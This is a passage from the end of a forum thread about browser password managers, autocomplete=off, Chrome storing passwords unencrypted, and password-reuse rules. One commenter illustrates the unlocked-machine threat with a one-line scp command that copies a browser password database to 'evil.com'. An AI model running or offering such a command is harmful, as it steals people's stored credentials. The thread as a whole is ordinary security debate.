71–78 of 78 posts
The first thing I install in a new browser is an adblocker. The second thing an addon that disables autocomplete=off. Yes I'm lazy. But my laptop is encrypted and goes back to the login screen after 2 minutes of inactivity. To me autocomplete=off is just annoying and doesn't add any security.
This drives some of our customers nuts because autocomplete has the annoying tendency in the most recent Safari of overwriting prepopulated fields - users end up losing configurations over this. Otherwise I can see the benefit of ignoring the setting, perhaps, but we need consistent default behavior (chance would be a fine thing!). I don't want to be telling my customers that they should switch off autocomplete as a…
Have you filed a bug report about Safari overwriting prepopulated fields? If not, and you don't want to deal with the painful experience that is bugreport.apple.com, feel free to drop me an email with more details about what you're seeing.
I've run into the problem of web services not letting me store passwords. The reality is, if you let my password manager (safari jacks into OS X's keychain system) keep track of things, I'm going to use the random 12-digit alphanumeric password my password manager provides me. If you don't, I'm either going to use my shitty "brain" password or put it in my password manager anyway and just copy-paste it manually. Than…
http://xkcd.com/936
The original article fails to take into account the larger population. The basic password managers in browsers are huge security holes. The one in FF does not use a master password by default, so anyone could look at an unattended computer and see all stored passwords with a few clicks. The article mentions an old JavaScript attack on the passwords as well (but then dismisses the threat, since that one hole was patch…
You might not agree with this but hear me out. I used to work on Chrome and I was curious what the justification was for storing passwords unencrypted in Chrome. I went and talked to the Chrome security team and they frustratingly explained it to me as they get this question all the time. As you said, in FF, (and in Chrome), a few clicks and anyone could look and an unattended computer and see all the stored password…
Now, reducing the technical knowledge required from "opening a shell and running apps" to "click here to see all passwords in seconds" greatly reduces the technical knowledge required and so greatly increases the risk you're exposed to.
My biggest problem is with sites that don't let me copy/paste into the password field. WTF!? Who's the PHB that came up with this policy? Despite this misguided nannying, I still use randomly generated 22 character alphanumeric passwords, even if I have to open up the window in Keepass and manually type them in. Most people aren't as paranoid and anal as me, however. Whoever you are, you're basically encouraging peop…
Equally bad: requiring a user to never use the same password twice Come on , I only forgot my password and want to set it to what I think it should be! I didn't get hacked! Just let me live my life in peace!
Earlier quoted context omitted.
Equally bad: requiring a user to never use the same password twice Come on , I only forgot my password and want to set it to what I think it should be! I didn't get hacked! Just let me live my life in peace!
Worse yet, there are banks that don't let you use any of the last 3-5 passwords . This is really annoying, especially when combined with enforcing a password change every 3 or 6 months. But there is a solution: just use whatever password you have chosen, and add a number for the current quarter or semester. Until they come up with a password strength checker measuring the similarity between your current and previous…
These have appeared in Ubuntu.
Earlier quoted context omitted.
You might not agree with this but hear me out. I used to work on Chrome and I was curious what the justification was for storing passwords unencrypted in Chrome. I went and talked to the Chrome security team and they frustratingly explained it to me as they get this question all the time. As you said, in FF, (and in Chrome), a few clicks and anyone could look and an unattended computer and see all the stored password…
Let me fix one line in your post: If someone with sufficient technical knowledge wants your passwords or other data and you hand them an unlocked machine they are going to get them. Now, reducing the technical knowledge required from "opening a shell and running apps" to "click here to see all passwords in seconds" greatly reduces the technical knowledge required and so greatly increases the risk you're exposed to.
Open terminal type
scp .somebrowser/password.db user@evil.com:
Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password
The original article fails to take into account the larger population. The basic password managers in browsers are huge security holes. The one in FF does not use a master password by default, so anyone could look at an unattended computer and see all stored passwords with a few clicks. The article mentions an old JavaScript attack on the passwords as well (but then dismisses the threat, since that one hole was patch…
You might not agree with this but hear me out. I used to work on Chrome and I was curious what the justification was for storing passwords unencrypted in Chrome. I went and talked to the Chrome security team and they frustratingly explained it to me as they get this question all the time. As you said, in FF, (and in Chrome), a few clicks and anyone could look and an unattended computer and see all the stored password…
Well, why didn't the password managers in several browsers do that by default?
Also, not all attacks are about "pwning" a computer. If an attacker can gather data, such as competitive corporate data, without being detected, that is much better in many ways. In practical terms, it would also be much faster (and unntraceable) to look at 2-3 key passwords in someone's open Firefox than to infect their computer with malware.